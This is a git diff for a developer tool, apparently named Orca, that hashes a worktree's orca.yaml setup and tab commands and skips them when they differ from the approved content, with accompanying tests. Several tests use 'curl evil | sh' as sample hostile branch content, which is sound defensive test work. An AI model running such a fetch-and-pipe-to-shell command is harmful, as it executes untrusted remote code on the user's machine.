diff --git a/config/tsconfig.node.json b/config/tsconfig.node.json index 711be001db2..246d8088a75 100644 --- a/config/tsconfig.node.json +++ b/config/tsconfig.node.json @@ -23,6 +23,8 @@ "../src/cli/runtime/runtime-access-denied.ts", "../src/cli/runtime/runtime-pid-liveness.ts", "../src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts", + "../src/renderer/src/lib/orca-hook-trust.ts", + "../src/renderer/src/lib/sha256.ts", "../src/renderer/src/components/native-chat/native-chat-resolution-receipt.ts", "../src/renderer/src/components/native-chat/structured-agent-question-projection.ts", "../src/renderer/src/components/native-chat/native-chat-subagent-delegation.ts", diff --git a/src/main/ipc/worktree-remote.ts b/src/main/ipc/worktree-remote.ts index 73822dd2c13..d15cb00a507 100644 --- a/src/main/ipc/worktree-remote.ts +++ b/src/main/ipc/worktree-remote.ts @@ -14,6 +14,7 @@ import type { CreateWorktreeArgs, CreateWorktreeProgressEvent, CreateWorktreeResult, + SetupTrustMismatch, WorktreeCheckoutProgress, WorktreeCreateBaseFallback } from '../../shared/worktree/create-types' @@ -62,6 +63,7 @@ import { getEffectiveHooksFromConfig, shouldRunSetupForCreate } from '../workspace-hooks/effective-hook-config' +import { checkCreatedWorktreeSetupTrust } from '../workspace-hooks/created-worktree-setup-trust' import { isTuiAgent } from '../../shared/agent-launch/catalog/tui-agent-config' import { runWorktreeChangeInvalidators } from './worktrees/listing/worktree-change-invalidators' @@ -1716,11 +1718,20 @@ async function performLocalWorktreeCreate( // Created branch hooks are authoritative; benign divergence from primary must not disable setup (#1280). let setup: CreateWorktreeResult['setup'] let defaultTabs: CreateWorktreeResult['defaultTabs'] + let setupTrustMismatch: SetupTrustMismatch | undefined await timing.time('prepare_setup', async () => { const createdYamlHooks = loadHooks(worktreePath) const createdEffectiveHooks = getEffectiveHooksFromConfig(repo, createdYamlHooks) + setupTrustMismatch = checkCreatedWorktreeSetupTrust( + repo, + createdYamlHooks, + args.setupDecision, + args.approvedSetupHash + ) + // Only the approved content may run; the client re-prompts with the branch's. + const setupDecision = setupTrustMismatch ? 'skip' : args.setupDecision try { - defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, args.setupDecision) + defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, setupDecision) } catch (error) { // Unapproved target-branch tab commands may create tabs but must not execute. console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error) @@ -1732,7 +1743,7 @@ async function performLocalWorktreeCreate( let shouldLaunchSetup = false if (setupScript) { try { - shouldLaunchSetup = shouldRunSetupForCreate(repo, args.setupDecision) + shouldLaunchSetup = shouldRunSetupForCreate(repo, setupDecision) } catch (error) { // Target branch can add unseen hooks; skip unapproved setup without failing the existing workspace. console.warn(`[hooks] setup hook skipped for ${worktreePath}:`, error) @@ -1824,6 +1835,7 @@ async function performLocalWorktreeCreate( : {}), ...(stagedStartup.startupTerminal ? { startupTerminal: stagedStartup.startupTerminal } : {}), ...(baseFallback ? { baseFallback } : {}), + ...(setupTrustMismatch ? { setupTrustMismatch } : {}), ...(createWarning ? { warning: createWarning } : {}), timing: timing.finish() } diff --git a/src/main/runtime/repositories/runtime-repository-hooks-commands.ts b/src/main/runtime/repositories/runtime-repository-hooks-commands.ts index 62eface05a5..fd36b658d24 100644 --- a/src/main/runtime/repositories/runtime-repository-hooks-commands.ts +++ b/src/main/runtime/repositories/runtime-repository-hooks-commands.ts @@ -1,5 +1,4 @@ import { getRepoDialableSshTargetId } from '../../../shared/execution-host' -import { createHash } from 'node:crypto' import { windowsFsPath } from '../../wsl/filesystem/wsl-unc-drive-fs-path' import { readFile } from 'node:fs/promises' import type { Repo } from '../../../shared/repo-types' @@ -18,6 +17,7 @@ import { isFolderRepo } from '../../../shared/repo-kind' import { inspectSetupScriptImportCandidates } from '../../../shared/workspace-setup/setup-script-imports' import { joinWorktreeRelativePath } from '../files/paths/runtime-relative-paths' import { blockedWslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate' +import { hashOrcaHookTrustContent } from '../../workspace-hooks/created-worktree-setup-trust' type RuntimeRepositoryHooksCommandsDeps = { resolveRepo: (selector: string) => Promise @@ -116,7 +116,7 @@ export class RuntimeRepositoryHooksCommands { } function hookTrust(scriptContent: string): { contentHash: string; scriptContent: string } { - return { contentHash: createHash('sha256').update(scriptContent).digest('hex'), scriptContent } + return { contentHash: hashOrcaHookTrustContent(scriptContent), scriptContent } } function archiveTrust( diff --git a/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts b/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts index ce5dbebe671..e9855ee62c0 100644 --- a/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts +++ b/src/main/runtime/rpc/methods/workspaces/worktree-create-args.ts @@ -93,6 +93,9 @@ export function buildManagedWorktreeCreateArgs( defaultTarget: 'host' }), setupDecision: params.setupDecision, + ...(params.approvedSetupHash !== undefined + ? { approvedSetupHash: params.approvedSetupHash } + : {}), ...(params.setupOnly !== undefined ? { setupOnly: params.setupOnly } : {}), createdWithAgent: params.createdWithAgent ?? params.startupAgent, ...provenance, diff --git a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts new file mode 100644 index 00000000000..c2d1107067d --- /dev/null +++ b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup-trust.test.ts @@ -0,0 +1,88 @@ +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { createHash } from 'node:crypto' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import type { Repo } from '../../../../shared/repo-types' +import { getDefaultSettings } from '../../../../shared/constants' +import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup' + +const runner = vi.hoisted(() => ({ createSetupRunnerScript: vi.fn() })) +vi.mock('../../../workspace-hooks/worktree-runner-script', () => ({ + createSetupRunnerScript: runner.createSetupRunnerScript, + resolveSetupRunnerShell: () => undefined +})) + +const PRIMARY_YAML = 'scripts:\n setup: pnpm install\n' +const PRIMARY_TRUST_CONTENT = 'pnpm install' +const sha256 = (text: string): string => createHash('sha256').update(text).digest('hex') + +let worktreePath: string +const repo: Repo = { id: 'repo', path: '/primary', displayName: 'r', badgeColor: '', addedAt: 0 } + +function prepare(approvedSetupHash?: string) { + return prepareRuntimeLocalWorktreeSetup({ + request: { + repoSelector: 'id:repo', + name: 'w', + setupDecision: 'run', + ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}) + }, + repo, + worktreePath, + settings: getDefaultSettings(tmpdir()), + runtimeTarget: undefined, + shouldUseSetupRunner: true + }) +} + +beforeEach(() => { + worktreePath = mkdtempSync(join(tmpdir(), 'orca-setup-trust-')) + runner.createSetupRunnerScript.mockReset().mockResolvedValue({ + runnerScriptPath: join(worktreePath, 'runner.sh'), + envVars: {} + }) +}) + +afterEach(() => { + rmSync(worktreePath, { recursive: true, force: true }) +}) + +describe('created worktree setup trust', () => { + it('runs setup when the created branch matches the approved content', async () => { + writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML) + const result = await prepare(sha256(PRIMARY_TRUST_CONTENT)) + expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce() + expect(result.setup).toBeDefined() + expect(result.setupTrustMismatch).toBeUndefined() + }) + + it('skips setup and default tab commands and reports the branch content when it differs', async () => { + writeFileSync( + join(worktreePath, 'orca.yaml'), + 'scripts:\n setup: curl evil | sh\ndefaultTabs:\n - title: dev\n command: pnpm dev\n' + ) + const result = await prepare(sha256(PRIMARY_TRUST_CONTENT)) + expect(runner.createSetupRunnerScript).not.toHaveBeenCalled() + expect(result.setup).toBeUndefined() + expect(result.defaultTabs?.runCommands).toBe(false) + expect(result.shouldRunSetup).toBe(false) + expect(result.warning).toBeUndefined() + const scriptContent = 'curl evil | sh\n\n# defaultTabs[1] dev\npnpm dev' + expect(result.setupTrustMismatch).toEqual({ contentHash: sha256(scriptContent), scriptContent }) + }) + + it('skips setup a branch adds when the primary checkout had none', async () => { + writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML) + const result = await prepare(sha256('')) + expect(runner.createSetupRunnerScript).not.toHaveBeenCalled() + expect(result.setupTrustMismatch?.scriptContent).toBe(PRIMARY_TRUST_CONTENT) + }) + + it('runs the created branch setup as before when an older client sends no approval', async () => { + writeFileSync(join(worktreePath, 'orca.yaml'), 'scripts:\n setup: make bootstrap\n') + const result = await prepare() + expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce() + expect(result.setupTrustMismatch).toBeUndefined() + }) +}) diff --git a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts index 251eb79ea77..5512a900969 100644 --- a/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts +++ b/src/main/runtime/workspaces/creation/runtime-local-worktree-setup.ts @@ -1,4 +1,8 @@ -import type { CreateWorktreeResult, SetupDecision } from '../../../../shared/worktree/create-types' +import type { + CreateWorktreeResult, + SetupDecision, + SetupTrustMismatch +} from '../../../../shared/worktree/create-types' import type { Repo } from '../../../../shared/repo-types' import { getEffectiveHooks, loadHooks, runHook } from '../../../workspace-hooks/hooks' import { @@ -9,6 +13,7 @@ import { getDefaultTabsLaunch, shouldRunSetupForCreate } from '../../../workspace-hooks/effective-hook-config' +import { checkCreatedWorktreeSetupTrust } from '../../../workspace-hooks/created-worktree-setup-trust' import type { RuntimeManagedWorktreeCreateArgs } from './runtime-managed-worktree-create-types' import type { RuntimeStore } from '../../runtime-store-contract' @@ -32,6 +37,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: { defaultTabs?: CreateWorktreeResult['defaultTabs'] warning?: string effectiveDecision: SetupDecision + setupTrustMismatch?: SetupTrustMismatch hookFound: boolean shouldRunSetup: boolean didStartInProcessSetupHook: boolean @@ -42,9 +48,17 @@ export async function prepareRuntimeLocalWorktreeSetup(args: { const yamlHooks = loadHooks(worktreePath) const hooks = getEffectiveHooks(repo, worktreePath) const effectiveDecision = resolveRuntimeSetupDecision(request) + const setupTrustMismatch = checkCreatedWorktreeSetupTrust( + repo, + yamlHooks, + effectiveDecision, + request.approvedSetupHash + ) + // Only the approved content may run; the client re-prompts with the branch's. + const runDecision = setupTrustMismatch ? 'skip' : effectiveDecision let defaultTabs: CreateWorktreeResult['defaultTabs'] try { - defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, effectiveDecision) + defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, runDecision) } catch (error) { console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error) defaultTabs = yamlHooks?.defaultTabs @@ -54,7 +68,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: { let shouldRunSetup = false if (hooks?.scripts.setup) { try { - shouldRunSetup = shouldRunSetupForCreate(repo, effectiveDecision) + shouldRunSetup = shouldRunSetupForCreate(repo, runDecision) } catch { // A new branch may introduce an unapproved hook; worktree already exists, so skip/warn below rather than fail the create. } @@ -82,7 +96,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: { } }) } - } else if (hooks?.scripts.setup && effectiveDecision !== 'skip') { + } else if (hooks?.scripts.setup && runDecision !== 'skip') { const skipped = `orca.yaml setup hook skipped for ${worktreePath}; pass --setup run to run it.` warning = warning ? `${warning} Also ${skipped}` : skipped console.warn(`[hooks] ${skipped}`) @@ -92,8 +106,31 @@ export async function prepareRuntimeLocalWorktreeSetup(args: { ...(defaultTabs ? { defaultTabs } : {}), ...(warning ? { warning } : {}), effectiveDecision, + ...(setupTrustMismatch ? { setupTrustMismatch } : {}), hookFound: Boolean(hooks?.scripts.setup), shouldRunSetup, didStartInProcessSetupHook } } + +export function buildRuntimeSetupReceipt( + prepared: Awaited>, + didSpawnSetup: boolean, + terminalHandle: string | null | undefined +): NonNullable { + const { effectiveDecision, hookFound, shouldRunSetup, setup } = prepared + return { + requested: effectiveDecision, + hookFound, + startupPolicy: setup?.waitForAgentStartup ? 'wait-for-setup' : 'start-immediately', + state: !hookFound + ? 'not_configured' + : effectiveDecision === 'skip' || !shouldRunSetup + ? 'skipped' + : // The in-process setup hook already started; spawn_failed would strand retrying callers. + didSpawnSetup || prepared.didStartInProcessSetupHook + ? 'running' + : 'spawn_failed', + ...(terminalHandle ? { terminalHandle } : {}) + } +} diff --git a/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts b/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts index ff3cf4d7d1e..59ed9a07bd1 100644 --- a/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts +++ b/src/main/runtime/workspaces/creation/runtime-managed-worktree-create-types.ts @@ -60,6 +60,8 @@ export type RuntimeManagedWorktreeCreateArgs = { runHooks?: boolean activate?: boolean setupDecision?: 'run' | 'skip' | 'inherit' + /** SHA-256 of the setup content the client approved; see CreateWorktreeArgs. */ + approvedSetupHash?: string setupOnly?: boolean awaitTerminalProvisioning?: boolean observeSetupCompletion?: boolean diff --git a/src/main/runtime/workspaces/creation/workspace-creation.ts b/src/main/runtime/workspaces/creation/workspace-creation.ts index 97f11c08f22..830e6234036 100644 --- a/src/main/runtime/workspaces/creation/workspace-creation.ts +++ b/src/main/runtime/workspaces/creation/workspace-creation.ts @@ -12,7 +12,10 @@ import { SshHostNotServedError } from '../../../providers/ssh-host-not-served-er import { createRuntimeFolderWorktree } from './runtime-folder-worktree-create' import { createRuntimeLocalManagedWorktree } from './runtime-local-worktree-create' import type { PreparationRearmHolder } from '../../../workspaces/creation/preparation/worktree-create-preparation' -import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup' +import { + buildRuntimeSetupReceipt, + prepareRuntimeLocalWorktreeSetup +} from './runtime-local-worktree-setup' import { invalidateAuthorizedRootsCacheForRepo } from '../../../ipc/worktrees/removal/registered-worktree-roots-scoped-invalidation' import { startRuntimeLocalWorktreeTerminals } from '../startup/runtime-local-worktree-terminal-startup' import { trackRuntimeWorkspaceCreate } from '../../../workspaces/creation/workspace-create-telemetry' @@ -187,15 +190,7 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi localCreate const { lineage, workspaceLineage } = metadataResult - let { - setup, - defaultTabs, - warning, - effectiveDecision, - hookFound, - shouldRunSetup, - didStartInProcessSetupHook - } = await prepareRuntimeLocalWorktreeSetup({ + const preparedSetup = await prepareRuntimeLocalWorktreeSetup({ request: args, repo, worktreePath, @@ -208,6 +203,8 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi warning: [includeCopyWarning, addResult.upstreamWarning].filter(Boolean).join(' ') || undefined }) + const { setup, defaultTabs, setupTrustMismatch } = preparedSetup + let { warning } = preparedSetup this.invalidateResolvedWorktreeCache() this.invalidateWorktreeScanCacheForRepo(repo.id) @@ -271,25 +268,15 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi ...(returnedSetup ? { setup: returnedSetup } : {}), ...(args.awaitTerminalProvisioning ? { - setupReceipt: { - requested: effectiveDecision, - hookFound, - startupPolicy: setup?.waitForAgentStartup - ? ('wait-for-setup' as const) - : ('start-immediately' as const), - state: !hookFound - ? ('not_configured' as const) - : effectiveDecision === 'skip' || !shouldRunSetup - ? ('skipped' as const) - : // The in-process setup hook already started; spawn_failed would strand retrying callers. - didSpawnSetup || didStartInProcessSetupHook - ? ('running' as const) - : ('spawn_failed' as const), - ...(setupTerminalHandle ? { terminalHandle: setupTerminalHandle } : {}) - } + setupReceipt: buildRuntimeSetupReceipt( + preparedSetup, + didSpawnSetup, + setupTerminalHandle + ) } : {}), ...(defaultTabs ? { defaultTabs } : {}), + ...(setupTrustMismatch ? { setupTrustMismatch } : {}), ...(warning ? { warning } : {}), ...(localCreate.baseFallback ? { baseFallback: localCreate.baseFallback } : {}), ...(addResult.localBaseRefRefresh diff --git a/src/main/workspace-hooks/created-worktree-setup-trust-parity.test.ts b/src/main/workspace-hooks/created-worktree-setup-trust-parity.test.ts new file mode 100644 index 00000000000..2f2fd6fdf6a --- /dev/null +++ b/src/main/workspace-hooks/created-worktree-setup-trust-parity.test.ts @@ -0,0 +1,202 @@ +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import type { Repo } from '../../shared/repo-types' +import { getSetupTrustContent } from '../../shared/orca-hook-setup-config' +import { hashOrcaHookScript } from '../../renderer/src/lib/orca-hook-trust' +import { RuntimeRepositoryHooksCommands } from '../runtime/repositories/runtime-repository-hooks-commands' +import { loadHooks } from './hooks' +import { + checkCreatedWorktreeSetupTrust, + hashOrcaHookTrustContent +} from './created-worktree-setup-trust' + +// The prompt hashes the primary checkout's orca.yaml; the host hashes the created worktree's. +// Same committed file => same hash, whatever the checkout did to line endings or a BOM. +const SETUP_YAML = [ + 'base: &base', + ' title: Dev server', + 'scripts:', + ' setup: |', + ' pnpm install ', + ' \techo "tabbed"', + '', + ' echo "ünïcødé ✓"', + 'defaultTabs:', + ' - <<: *base', + ' command: >', + ' pnpm dev', + ' --port 3000', + ' - title: Notes', + ' - command: "printf \'%s\\n\' quoted"', + 'issueCommand: gh issue view', + 'scripts_unrelated: ignored', + '' +].join('\n') + +const dirs: string[] = [] +function checkout(content: string): string { + const dir = mkdtempSync(join(tmpdir(), 'orca-setup-parity-')) + dirs.push(dir) + writeFileSync(join(dir, 'orca.yaml'), content) + return dir +} + +const repo = (overrides: Partial = {}): Repo => ({ + id: 'repo', + path: '/primary', + displayName: 'repo', + badgeColor: '', + addedAt: 0, + ...overrides +}) + +/** What the trust prompt approves: the renderer's hash of the primary checkout's content. */ +async function promptHash(primaryPath: string): Promise { + return hashOrcaHookScript(getSetupTrustContent(loadHooks(primaryPath))) +} + +beforeEach(() => { + dirs.length = 0 +}) + +afterEach(() => { + vi.unstubAllGlobals() + for (const dir of dirs) { + rmSync(dir, { recursive: true, force: true }) + } +}) + +describe('approved setup hash parity between the trust prompt and the host', () => { + const variants: [string, (yaml: string) => string][] = [ + ['identical LF files', (yaml) => yaml], + ['a CRLF primary checkout (Windows autocrlf)', (yaml) => yaml.replace(/\n/g, '\r\n')], + ['a primary checkout saved with a UTF-8 BOM', (yaml) => `${yaml}`], + ['a primary checkout with trailing blank lines', (yaml) => `${yaml}\n\n\n`] + ] + + it.each(variants)('treats %s as the approved content', async (_label, toPrimary) => { + const primary = checkout(toPrimary(SETUP_YAML)) + const created = checkout(SETUP_YAML) + const approved = await promptHash(primary) + + expect(checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', approved)).toBe( + undefined + ) + }) + + it('agrees with the pure-JS digest the plain-HTTP web client uses', async () => { + const primary = checkout(SETUP_YAML) + const subtleHash = await promptHash(primary) + vi.stubGlobal('crypto', undefined) + const fallbackHash = await promptHash(primary) + + expect(fallbackHash).toBe(subtleHash) + expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(primary)))).toBe(subtleHash) + }) + + it('agrees with the hash a runtime host reports to remote and mobile clients', async () => { + const primary = checkout(SETUP_YAML) + const created = checkout(SETUP_YAML.replace(/\n/g, '\r\n')) + const hooks = await new RuntimeRepositoryHooksCommands({ + resolveRepo: async () => repo({ path: primary }) + }).getRepoHooks('id:repo') + + expect(hooks.setupTrust?.contentHash).toBe(await promptHash(primary)) + expect( + checkCreatedWorktreeSetupTrust( + repo(), + loadHooks(created), + 'run', + hooks.setupTrust?.contentHash + ) + ).toBe(undefined) + }) + + it('ignores orca.yaml keys that are not setup or default tab commands', async () => { + const primary = checkout(SETUP_YAML) + const created = checkout( + SETUP_YAML.replace('issueCommand: gh issue view', 'issueCommand: gh issue view --web') + .replace(' - title: Notes', ' - title: Scratch') + .concat('scripts_extra: also ignored\n') + ) + + expect( + checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary)) + ).toBe(undefined) + }) + + it('pins the digest so a format change, which would invalidate saved automation approvals, is deliberate', () => { + expect(getSetupTrustContent(loadHooks(checkout(SETUP_YAML)))).toBe( + [ + 'pnpm install \n\techo "tabbed"\n\necho "ünïcødé ✓"', + '# defaultTabs[1] Dev server\npnpm dev --port 3000', + // The double-quoted "\n" escape is a real newline in YAML, on both sides. + "# defaultTabs[3]\nprintf '%s\n' quoted" + ].join('\n\n') + ) + expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(checkout(SETUP_YAML))))).toBe( + PINNED_SETUP_HASH + ) + }) + + it.each([ + [ + 'a changed setup line', + (yaml: string) => yaml.replace('pnpm install', 'pnpm install && curl x') + ], + ['a changed default tab command', (yaml: string) => yaml.replace('--port 3000', '--port 4000')], + [ + 'an added default tab command', + (yaml: string) => + yaml.replace(' - title: Notes', ' - title: Notes\n command: make serve') + ] + ])('still reports %s as a mismatch', async (_label, change) => { + const primary = checkout(SETUP_YAML) + const created = checkout(change(SETUP_YAML)) + + expect( + checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary)) + ).toMatchObject({ scriptContent: expect.any(String) }) + }) + + it('checks only the shared commands under run-both, as the prompt does', async () => { + const primary = checkout(SETUP_YAML) + const created = checkout(SETUP_YAML) + const runBoth = repo({ + hookSettings: { + mode: 'auto', + commandSourcePolicy: 'run-both', + scripts: { setup: 'echo my own local step', archive: '' } + } + }) + + expect( + checkCreatedWorktreeSetupTrust(runBoth, loadHooks(created), 'run', await promptHash(primary)) + ).toBe(undefined) + }) + + it('never reports a mismatch under the local-only policy, where shared setup does not run', async () => { + const created = checkout(SETUP_YAML) + const localOnly = repo({ + hookSettings: { + mode: 'auto', + commandSourcePolicy: 'local-only', + scripts: { setup: 'echo mine', archive: '' } + } + }) + + expect( + checkCreatedWorktreeSetupTrust(localOnly, loadHooks(created), 'run', 'not-the-hash') + ).toBe(undefined) + }) + + it('leaves creates without an approval hash (older clients, CLI, stored decisions) unchanged', () => { + expect( + checkCreatedWorktreeSetupTrust(repo(), loadHooks(checkout(SETUP_YAML)), 'run', undefined) + ).toBe(undefined) + }) +}) + +const PINNED_SETUP_HASH = '112aac76dbc70758498c2b87a2dc42e77f7ce366a5b611749ec38b6757681593' diff --git a/src/main/workspace-hooks/created-worktree-setup-trust.ts b/src/main/workspace-hooks/created-worktree-setup-trust.ts new file mode 100644 index 00000000000..40b44dd8a68 --- /dev/null +++ b/src/main/workspace-hooks/created-worktree-setup-trust.ts @@ -0,0 +1,44 @@ +import { createHash } from 'node:crypto' +import { resolveHookCommandSourcePolicy } from '../../shared/hook-command-source-policy' +import { getSetupTrustContent } from '../../shared/orca-hook-setup-config' +import type { OrcaHooks } from '../../shared/orca-yaml-hook-types' +import type { Repo } from '../../shared/repo-types' +import type { SetupDecision, SetupTrustMismatch } from '../../shared/worktree/create-types' +import { shouldRunSetupForCreate } from './effective-hook-config' + +/** Same digest as the renderer's hashOrcaHookScript, so host and prompt hashes compare. */ +export function hashOrcaHookTrustContent(content: string): string { + return createHash('sha256').update(content.trim()).digest('hex') +} + +/** + * Compare the created worktree's shared setup commands with what the client approved. + * Undefined means run as decided: no approval was sent (older client), nothing shared would run, or it matches. + */ +export function checkCreatedWorktreeSetupTrust( + repo: Repo, + createdYamlHooks: OrcaHooks | null, + decision: SetupDecision | undefined, + approvedSetupHash: string | undefined +): SetupTrustMismatch | undefined { + if (approvedSetupHash === undefined) { + return undefined + } + const policy = resolveHookCommandSourcePolicy(repo.hookSettings?.commandSourcePolicy, { + hasLocalScript: Boolean(repo.hookSettings?.scripts.setup?.trim()) + }) + const scriptContent = getSetupTrustContent(createdYamlHooks) + if (policy === 'local-only' || !scriptContent || !wouldRunSetup(repo, decision)) { + return undefined + } + const contentHash = hashOrcaHookTrustContent(scriptContent) + return contentHash === approvedSetupHash ? undefined : { contentHash, scriptContent } +} + +function wouldRunSetup(repo: Repo, decision: SetupDecision | undefined): boolean { + try { + return shouldRunSetupForCreate(repo, decision) + } catch { + return false + } +} diff --git a/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts b/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts index 6242b0723ae..a3041841e11 100644 --- a/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts +++ b/src/renderer/src/components/terminal-pane/launch-parity-window-tab.test.ts @@ -65,7 +65,10 @@ vi.mock('@/lib/workspace/creation/setup/workspace-setup-preparation', async (imp ...(await importOriginal>()), inspectRequiredWorkspaceSetup: async () => ({ kind: 'decided', decision: 'inherit' }) })) -vi.mock('@/lib/ensure-hooks-confirmed', () => ({ ensureHooksConfirmed: async () => 'run' })) +vi.mock('@/lib/ensure-hooks-confirmed', () => ({ + ensureHooksConfirmed: async () => 'run', + ensureHooksApproved: async () => ({ decision: 'run' }) +})) vi.mock('@/lib/windows-terminal-capabilities', async (importOriginal) => ({ ...(await importOriginal>()), hasCachedWindowsTerminalCapabilities: () => true, diff --git a/src/renderer/src/i18n/locales/en.json b/src/renderer/src/i18n/locales/en.json index 4cb8b19ebe0..f20aca8f50b 100644 --- a/src/renderer/src/i18n/locales/en.json +++ b/src/renderer/src/i18n/locales/en.json @@ -22432,6 +22432,9 @@ "alwaysForceDeleteBranchesTooltip": "Applies to branches kept after future workspace deletions." }, "worktree": { + "setupTrust": { + "createdBranchSkipped": "Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved." + }, "nestedRemoval": { "refreshFailed": "Could not refresh the workspace list", "review": "Delete with nested worktrees…", diff --git a/src/renderer/src/lib/ensure-hooks-confirmed.test.ts b/src/renderer/src/lib/ensure-hooks-confirmed.test.ts index 73e9023da4d..8e32ff66e67 100644 --- a/src/renderer/src/lib/ensure-hooks-confirmed.test.ts +++ b/src/renderer/src/lib/ensure-hooks-confirmed.test.ts @@ -3,10 +3,13 @@ import type { AppState } from '@/store/types' import type { PersistedTrustedOrcaHooks } from '../../../shared/orca-yaml-hook-types' import { __resetTrustPromptChainForTests, + confirmCreatedWorktreeSetupContent, + ensureHooksApproved, ensureHooksConfirmed, readAndConfirmRuntimeIssueCommand } from './ensure-hooks-confirmed' import { hashOrcaHookScript } from './orca-hook-trust' +import { createHash } from 'node:crypto' import { createCompatibleRuntimeStatusResponseIfNeeded, type RuntimeEnvironmentCallRequest @@ -465,4 +468,54 @@ describe('ensureHooksConfirmed', () => { expect(decision).toBe('skip') expect(pending).toHaveLength(0) }) + + it('returns the approved setup hash the host recomputes with node crypto', async () => { + const { state, pending } = createTestState() + hooksCheckMock.mockResolvedValue({ + hasHooks: true, + hooks: { scripts: { setup: 'pnpm install' } }, + mayNeedUpdate: false + }) + + const promise = ensureHooksApproved(state, 'repo-1', 'setup') + await vi.waitFor(() => expect(pending).toHaveLength(1)) + pending[0].resolve('run') + + await expect(promise).resolves.toEqual({ + decision: 'run', + approvedContentHash: createHash('sha256').update('pnpm install').digest('hex') + }) + }) + + it('approves the empty setup content without prompting so a branch cannot add unseen scripts', async () => { + const { state, pending } = createTestState() + hooksCheckMock.mockResolvedValue({ hasHooks: false, hooks: null, mayNeedUpdate: false }) + + await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({ + decision: 'run', + approvedContentHash: await hashOrcaHookScript('') + }) + expect(pending).toHaveLength(0) + }) + + it('sends no hash when the whole repo is trusted, so any branch content runs as before', async () => { + const { state } = createTestState() + state.trustedOrcaHooks['repo-1'] = { all: { approvedAt: 1 } } + + await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({ + decision: 'run' + }) + }) + + it('re-prompts with the created branch setup content that differs', async () => { + const { state, pending } = createTestState() + + const promise = confirmCreatedWorktreeSetupContent(() => state, 'repo-1', 'curl evil | sh') + await vi.waitFor(() => expect(pending).toHaveLength(1)) + expect(pending[0].data.scriptContent).toBe('curl evil | sh') + expect(pending[0].data.scriptKind).toBe('setup') + pending[0].resolve('skip') + + await expect(promise).resolves.toEqual({ decision: 'skip' }) + }) }) diff --git a/src/renderer/src/lib/ensure-hooks-confirmed.ts b/src/renderer/src/lib/ensure-hooks-confirmed.ts index 854a9a5c8a8..5b8bb9dd6fb 100644 --- a/src/renderer/src/lib/ensure-hooks-confirmed.ts +++ b/src/renderer/src/lib/ensure-hooks-confirmed.ts @@ -4,6 +4,7 @@ import { resolveHookCommandSourcePolicy } from '../../../shared/hook-command-sou import { getSetupTrustContent } from '../../../shared/orca-hook-setup-config' import { canUseRepoWideTrust } from '../../../shared/orca-hook-trust-entries' import { hashOrcaHookScript, type OrcaHookScriptKind } from './orca-hook-trust' +import { getVmRecipeTrustContent } from './vm-recipe-trust-content' import { checkRuntimeHooks, readRuntimeIssueCommand, @@ -33,28 +34,6 @@ export function __resetTrustPromptChainForTests(): void { trustPromptChain = Promise.resolve() } -function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string { - return (yamlHooks?.environmentRecipes ?? []) - .map((recipe) => - [ - `# environmentRecipes.${recipe.id}`, - `name: ${recipe.name}`, - recipe.description ? `description: ${recipe.description}` : null, - `create: ${recipe.create}`, - recipe.suspend ? `suspend: ${recipe.suspend}` : null, - recipe.resume ? `resume: ${recipe.resume}` : null, - recipe.destroyDisabled - ? 'destroy: none' - : recipe.destroy - ? `destroy: ${recipe.destroy}` - : null - ] - .filter((entry): entry is string => entry !== null) - .join('\n') - ) - .join('\n\n') -} - function findHookRepo(state: AppState, repoId: string, hostId?: ExecutionHostId) { return hostId ? state.repos.find((repo) => repo.id === repoId && getRepoExecutionHostId(repo) === hostId) @@ -85,6 +64,12 @@ function hookRepoOwnerHostId( return ownerHostId } +/** A run carries the approved content's hash (empty content included) unless the whole repo is trusted. */ 